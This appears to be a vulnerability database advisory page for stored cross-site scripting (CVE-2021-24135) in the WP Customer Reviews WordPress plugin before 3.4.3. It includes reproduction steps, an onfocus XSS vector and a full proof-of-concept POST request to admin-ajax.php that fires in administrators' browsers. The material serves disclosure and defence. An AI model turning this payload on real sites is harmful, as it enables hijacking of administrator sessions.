Lucene search
+L

WP Customer Reviews < 3.4.3 - Multiple Unauthenticated and Low Priv Authenticated Stored XSS

🗓️ 20 Aug 2020 00:00:00Reported by Nguyen Anh TienType 
wpexploit
 wpexploit
👁 613 Views

Vulnerability in WP Customer Reviews 3.4.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-24135
18 Mar 202115:15
attackerkb
cnnvd
CNNVD
Wordpress WP Customer Reviews 跨站脚本漏洞
18 Mar 202100:00
cnnvd
cnvd
CNVD
Wordpress WP Customer Reviews Cross-Site Scripting Vulnerability
22 Mar 202100:00
cnvd
cve
CVE
CVE-2021-24135
18 Mar 202114:57
cve
cvelist
Cvelist
CVE-2021-24135 WP Customer Reviews < 3.4.3 - Multiple Unauthenticated and Low Priv Authenticated Stored XSS
18 Mar 202114:57
cvelist
euvd
EUVD
EUVD-2021-11049
7 Oct 202500:30
euvd
nvd
NVD
CVE-2021-24135
18 Mar 202115:15
nvd
osv
OSV
CVE-2021-24135
18 Mar 202115:15
osv
prion
Prion
Cross site scripting
18 Mar 202115:15
prion
redhatcve
RedhatCVE
CVE-2021-24135
22 May 202519:20
redhatcve
Rows per page
If WP Customer Reviews is enabled on a page, an unauthenticated attacker can exploit XSS via review form's parameters:
- Reviewer Name
- Website
- Review Title

On the other hand, an authenticated low-privileged user (Author) can exploit XSS via Edit Post's form parameters:

If review format is "Business":
- Business Name
- Street Address 1
- Street Address 2
- City / Locality
-Country
etc...

If review format is "Product":
- Product Name
- Manufacturer/Brand of Product
etc...

The script stored is executed for all admin users of the website when accessing review detail page.

### Steps

1. Download and install "WP Customer Reviews 3.4.2" from https://wordpress.org/plugins/wp-customer-reviews/

2. From dashboard, admin go to arbitrary post, edit and enable "Enable WP Customer Reviews for this page".

3. As an unauthenticated attacker, go to the page that enabled review form and enter XSS vector to "Reviewer Name", "Website", "Review Title":

```
" autofocus onfocus='alert(document.domain)'>
```

4. When admin user go to "Edit Customer Review" to response, the javaScript code injected would be executed.

5. An authenticated low-privileged user (Author) can do the same with Edit Post form, enter XSS vector on product, business fields.

--- PoC Request

POST /wp-admin/admin-ajax.php?action=wpcr3-ajax HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 423

wpcr3_fname=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_femail=test%40gmail.com&wpcr3_fwebsite=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_ftitle=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_frating=5&wpcr3_ftext=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_postid=1&website=&url=&wpcr3_fconfirm1=0&wpcr3_fconfirm2=1&wpcr3_fconfirm3=1&wpcr3_checkid=1&wpcr3_ajaxAct=form

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2021 06:02Current
0.3Low risk
Vulners AI Score0.3
EPSS0.01085
613